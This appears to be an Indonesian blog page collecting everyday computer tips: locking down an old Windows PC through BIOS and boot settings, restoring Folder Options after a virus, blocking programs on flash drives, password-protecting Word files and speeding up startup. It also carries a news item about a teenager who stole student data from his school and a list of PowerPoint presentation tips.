Pertama kali Anda mesti membuat password pada BIOS Anda. Mengapa ? Karena pada BIOS ini terdapat fasilitas untuk meng-enable dan men-disable beberapa sumber daya komputer kita. Walaupun ada cara yang mudah untuk menembus password ini, tapi setidaknya ini akan memperlambat sang penyusup....
2. Pastikan booting hanya dari harddisk.
Pada BIOS Anda, pastikan setting untuk booting hanya dari harddisk. Dengan kata lain disable fasilitas booting dari floopy disk, CD-ROM, atau media lainnya.
3. Men-disable Start-up Menu
Dengan mendisable startup menu ini maka orang lain (termasuk kita) hanya dapat booting melalui Windows (tidak bisa booting pada DOS Prompt). Caranya, pada file config.sys tambahkan : SWITCHES=/F/N to CONFIG.SYS. Pada bagian paling atas dari file autoexec.bat tambahkan :
@CTTY NUL
@BREAK OFF
@ECHO OFF
Sedang pada bagian paling akhir dari file autoexec.bat tambahkan : CTTY CON
4. Men-disable Boot Key
Maksudnya adalah mencegah penekanan tombol F8 dan F5 selama booting. Dengan menekan F8 maka akan muncul start-up menu. Cara mendisablenya : Bukalah file msdos.sys yang terletak pada direktori utama (C:\) dengan Notepad. Lalu gantilah Bootkeys=1 menjadi Bootkeys=0.
5. Menyembunyikan icon pada Control Panel
Pada Control Panel terdapat berbagai fasilitas untuk melakukan setting/konfigurasi pada komputer kita. Misalnya setting tentang password, printer, desktop themes, dll. Nah bila Anda tidak ingin ada orang lain yang ingin mengganti setting komputer Anda, Anda bisa melakukan aksi berikut, yakni menyembunyikan berbagai icon pada Control Panel. Caranya, pertama buka file control.ini yang terdapat pada folder c:\windows\control.ini (bila folder windows Anda bernama lain, silahkan disesuaikan). Lalu di bawah bagian [don't load] silahkan masukkan fasilitas yang tidak ingin Anda tampilkan. Misalnya untuk menyembunyikan icon password silahkan tulis "password.cpl=no". Untuk menyembunyikan icon Desktop Setting, tulis "desk.ini=no", dan seterusnya. Untuk melihat daftar file *.cpl bisa Anda lihat di c:\windows\system.
6. Proteksi dengan Software
Proteksi dengan software bisa bermacam-macam bentuknya. Pertama enkripsi. Dengan melakukan enkripsi (penyandian) orang lain akan kesulitan untuk membuka file yang di-enkripsi. Pada waktu melakukan enkripsi kita diharuskan untuk memasukkan password, yang mana password tersebut juga akan digunakan untuk melakukan dekripsi. Dengan begitu orang yang tidak tahu passwordnya tidak akan bisa membuka file tersebut dan tidak akan tahu isinya. Contoh software yang digunakan untuk melakukan enkripsi adalah Cryptext, PGP, dll. Selain dengan enkripsi ada cara lain untuk mengamankan file-file kita, yaitu dengan menggunakan software Win-Secure It dan Folder Guard. Dengan software tersebut kita bisa menyembunyikan file/folder, mencegah eksekusi program, mencegah penghapusan (delete), dll. File yang sudah disembunyikan (hidden) tidak akan terlihat pada Windows Explorer walaupun option Show All File diaktifkan. Mencegah orang lain mengeksekusi/menjalankan program menjadi sangat penting jika Anda mempunyai software untuk melakukan konfigurasi pada Windows, seperti WinBoost, Tweak UI, Start Menu Changer, dan sebagainya.
7. Bila Anda termasuk paranoid
Dengan enam langkah di atas komputer Anda sudah mempunyai tingkat keamanan yang lumayan (tentunya bukan lumayan bagi seorang hacker). Namun bila Anda termasuk paranoid atau betul-betul takut komputer Anda diisengin orang lain Anda bisa meneruskan langkah berikutnya. Yaitu hapus atau rename-lah file-file yang termasuk kategori "berbahaya" bila dijalankan, seperti fdisk.exe, format.exe, dll.
Menampilkan kembali Folder Option
Pernahkan Anda jumpai Folder Option pada Windows Explorer “hilang?” Kalau pernah kemungkinan ada virus di PC Anda yang bikin ulah. Virus sengaja menghilangkannya agar kita tidak bisa merubah option (settingan) tertentu pada Folder Option tersebut. Biasanya virus akan mengaktifkan option Hide extensions for known file type. (lihat gambar di bawah ini) 
Apa alasan virus mengaktifkan option ini? Dengan mengaktifkan option ini maka ekstensi file tidak terlihat. Contoh coba.doc (dokumen MS Word) hanya terlihat coba. File ujian.xls ( dokumen MS Excel) hanya akan terlihat ujian. Coba.exe, ujian.exe juga hanya akan terlihat coba dan uji. Kondisi seperti sering digunakan virus untuk mengelabui kita. File dokumen kita akan diinfeksi kemudian diubah ekstensinya menjadi file yang excutable (exe). Contoh file coba.doc oleh virus diubah menjadi coba.exe, atau ujian.xls diubah menjadi ujian.exe dan terlihat oleh kita coba dan ujian.
Karena ekstensi file tidak terlihat maka kita akan mengira file tersebut adalah file dokumen word biasa. Jadi apabila kita mengklik double file tersebut berarti kita telah membuka/mengaktifkan virus.
Oleh karena itu, sesekali Anda check settingan pada Folder Option tersebut, pastikan tidak ada centangan pada option Hide extensions for known file type.
Kemudian untuk menampilkan kembali Folder Option “yang hilang” dapat dilakukan dengan beberapa langkah berikut:
1. klik Start > Run > laku ketik gpedit.msc kemudian enter atau OK. Kemudian akan muncul kotak Group Policy seperti gambar di bawah ini.
2. Setelah itu Klik User Configuration > Administrative Templates > Windows Components > Windows Explorer (lihat gambar di bawah ini)
3. Pada sisi kanan, pilih/klik Remove the Folder Option menu item from the tools menu, sehingga muncul seperti gambar di bawah ini.
4. Biasanya virus menandai option Enabled. Kalau memang demikian pilih option Not Configurated kemudian klik OK kemudian tutup Group Policy.
5. Sekarang Anda buka Windows Explorer > pilih menu Tools. Semoga menu Folder Option sudah muncul di situ.
Mendisable Menu Folder Option
Kadang-kadang karena alasan tertentu (misalnya kerahasiaan atau keamanan), kita bisa merubah attribute file menjadi hidden agar orang lain tidak bisa mengetahui/melihatnya. Jika demikian yang Anda inginkan maka Anda harus memilih option Do not show hidden files or folders pada Folder Option tab view. (lihat gambar di bawah ini). Dengan demikian file yang kita hidden tidak nampak dalam Windows explorer. 
Untuk menambah jaminan keamanannya Anda bisa mendisable atau “menghilangkan” Folder Option tersebut sehingga tidak nampak pada submenu Tools pada Windows Explorer.
Caranya seperti biasa Klik Start > Run > kemudian ketik gpedit.msc kemudian enter atau OK hingga muncul seperti gambar di bawah ini.
Kemudian User Configuration > Administrative Templates > Windows Components > Windows Explorer dan akan muncul seperti gambar di bawah ini.
Kemudian pada sisi kanan Klik double Remove the Folder Options menu item the Tools menu dan akan muncul seperti gambar di bawah ini.
Kemudian pilih option enabled. Klik OK dan tutup Group Policy. Setelah itu, kita mencoba membuka Windows Explorer. Kemudian perhatikan pada menu Tools, di situ menu Folder Option sudah tidak ada. Selamat Mencoba.
Bentengi Komputer dari Serangan Virus
Ada lagi alternatif untuk mencegah masuknya virus ke computer. Dalam melakukan tip ini Anda harus hati-hati, karena bila salah, bisa berakibat fatal. Kita akan memanfaatkan fitur yang dimiliki oleh Windows XP untuk mencegah aplikasi dijalankan pada drive tertentu, misalnya: flashdisk.
Caranya sebagai berikut:
* Jalankan Local Security Policy di Control Panel > Administrative Tools. Lalu, klik kanan Additional Rules > New Path Rule pada folder Software Restriction Policies.
* Pada kotak Path, ketik drive yang biasa digunakan oleh flashdisk. Jika biasanya flashdisk ada di drive E, ketik E:\. Hati-hati, jangan sampai mengetik drive C atau tempat menginstal system operasi. Jika drive tersebut dipilih, saat restart system operasi tidak akan jalan. Lalu, pada bagian Security level, pilih Disallowed.
* Klik OK.
Setelah restart, aplikasi yang ada di flashdisk, tidak akan dapat dijalankan secara otomatis, sehingga computer Anda aman dari serangan virus tanpa Anda sadari.
Memberi Password File Word
Banyak sekali fitur-fitur di microsoft word yang sebenarnya sangat berguna bagi kita tetapi kita belum tahu bagaimana menggunakannya. Dari sekian banyak fitur microsoft word yang ada, saya tertarik untuk menulis tentang salah satu fitur simpel yang berguna untuk memberi password terhadap file word. Fitur ini dapat kita gunakan untuk mempasword fil penting kita agar terhindar dari pembobolan oleh orang asing yang tidak kita inginkan.
Untuk menggunakan fitur ini tidaklah susah, adapun caranya dapat saya tuliskan sebagai berikut :
1. Pertama-tama pilihlah file mana yang akan kita password, lalu pilih save as
2. Setelah itu arahkan mouse anda ke toolbar tools dan pilih security option seperti pada gambar dibawah ini :
3. Setelah anda masuk ke menu security option, anda akan diminta untuk memasukkan password yang ingin anda gunakan seperti pada gambar dibawh ini :
4. lalu tekan OK, File anda sudah selesai diberi password..
5. Selamat mencoba dan semoga tips sederhana ini berguna bagi pembaca sekalian..trima kasih
Percepat Startup
Pernah Ngalamin kan , . Saat Hidupin Komputer Rasanya Loading Lambat Banget,. ..
Penjelasan :
Saat Kamu Hidupin Komputer, Komputer Mulai bekerja dengan Membaca file2 apa yang harus execute dan ditempilkan(istilah ini dikenal dengan StartUp) ketika pembacaan file terlalu banyak maka Komputer kita akan Menjadi Lambat
Penyebab :
1. Banyak menginstal Program2 jika sahabat suka instal program maka temporary dari software tersebut akan tinggal apa lagi uninstalnya tidak benar.
2. Font yang Terlalu Banyak akan membuat komputer lambat saat diakses karena font di laoding diawal2 komputer dihidupin, jadi klo kamu punya banyak font cari yang penting2 aja
3. Virus, virus akan bekerja saat pertama kali komputer hidup, jika komputer kamu benar2 terinfeksi ini akan menghambat kinerja komputer kamu
Penyelesaian :
Ini apa bila Komputer Kamu tidak Kena Virus("klo kena virus bersihkan klo perlu uninstal OS kamu
1. Klik Tombol Start trus klik RUN
2. klo gak gunakan keyboard dengan windows + R
3. ketikan tombol msconfig
nah Lihat seperti gambar diatas kemudian tekan Ok atau langsung enter , .
Akan tampil 
Hilangin Chek box yang disebelah kiri kamu, Bila perlu hilangan semua kecuali mungkin anitvirus, trus thema windows kamu dan juga krusor kamu, kamu bisa lihat di command nya apa aja yang jalan saat komputer kamu hidup,.
Siswa 15 Tahun Hack Sistem Komputer
Pennsylvania - Bakat mengutak-atik komputer jelas terlihat di siswa berumur 15 tahun ini. Dirinya berhasil menyusupi sistem komputer sekolahnya, Downingtown West High School di Pennsylvania, Amerika Serikat (AS). Ia pun berhasil menyusupi database sekolah dan mencuri sekitar 50.000 data pribadi penting hingga nomor jaminan sosial milik siswa lain.
Nama siswa Downingtown West tersebut tidak disebutkan karena polisi menyatakan ia masih dibawah umur.
Sang hacker cilik itu diketahui meng-copy seluruh data dan dimasukkan ke dalam perangkat USB storage miliknya. Ia mengaku menembus database dari salah satu komputer sekolah. Demikian seperti dilansir Softpedia dan dikutip detikINET, Rabu (28/5/2008).
Lebih lanjut disebutkan, ini bukan kali pertama seseorang mencoba menyusupi sistem komputer sekolah. Pada Desember 2007 silam, sistem komputer Downington West High juga sempat diobok-obok. Pihak sekolah lantas memperbaharui sistem keamanan, namun nyatanya masih dapat ditembus juga.
Walau dirinya terkena dakwaan yang serius karena dengan sengaja menyusupi keamanan sistem, namun sang hacker cilik itu sementara hanya dikembalikan ke orang tuanya.
Melihat hal ini, salah satu korban pencurian data menyatakan, ia sangat menyesali mengapa anak berbakat seperti itu tidak di’olah’ untuk dapat melakukan sesuatu yang bermanfaat bagi lingkungannya.
Rabu, 28/05/2008 13:03 WIB
Annisa M. Zakir - detikinet
Kiat Presentasi Efektif dengan PowerPoint
Jakarta - Presentasi dengan aplikasi PowerPoint sudah jadi bagian penting dalam kehidupan sebagian pebisnis atau mahasiswa.
Dikutip detikINET dari TechRepublic, Jumat (28/3/2008), berikut tips & trick presentasi efektif dengan PowerPoint agar audiens Anda tertarik menyimak sampai acara berakhir.
1. Pakai Kalimat Sederhana
Aplikasi PowerPoint bukanlah aplikasi pengolah kata layaknya Microsoft Word. Untuk itu, pakai kalimat yang jelas dan seperlunya saja. Jangan pula menjejalkan terlalu banyak informasi dalam satu slide PowerPoint karena audiens mungkin akan kebingungan.
2. Gambar Bermakna Ribuan Kata
Pakai gambar atau ilustrasi yang benar-benar menarik di PowerPoint untuk menjelaskan presentasi Anda sehingga audiens mau menyimak dan mudah memahaminya. Namun jangan sampai pula resolusi gambar Anda pecah sehingga tampak menganggu.
3. Kuasai Topik Presentasi Secara Detail
Seringkali presentasi PowerPoint didesain secara cukup kompleks dalam banyak slide. Jangan sampai Anda gagap menjelaskan detail sekecil apapun dalam presentasi. Persiapkan diri dengan baik untuk membuat presentasi PowerPoint yang berkesan dan diterima audiens.
4. Berceritalah Saat Presentasi
Jangan hanya membacakan poin presentasi Anda secara monoton. Berceritalah! Ilustrasikan konten di PowerPoint Anda, misalnya dengan pengalaman hidup sehari-hari sehingga audiens dapat mencerna maksudnya dengan baik.
5. Konten Dalam Presentasi Sangat Penting
Pastikan konten yang Anda masukkan dalam presentasi PowerPoint Anda memang berguna bagi audiens. Jangan pula terlalu banyak menggunakan animasi atau efek-efek khusus karena selain bisa membosankan, hal ini bahkan bisa mengakibatkan presentasi Anda dianggap tidak serius.
6. Hargai Audiens Anda
Buat desain PowerPoint yang terlihat jelas, baik gambar maupun tulisannya. Pastikan kontras warna benar-benar tepat sehingga tidak menyakiti mata mereka yang melihatnya. Pastikan pula seluruh audiens dapat melihat konten dengan baik, meskipun mereka berada di jajaran paling belakang.
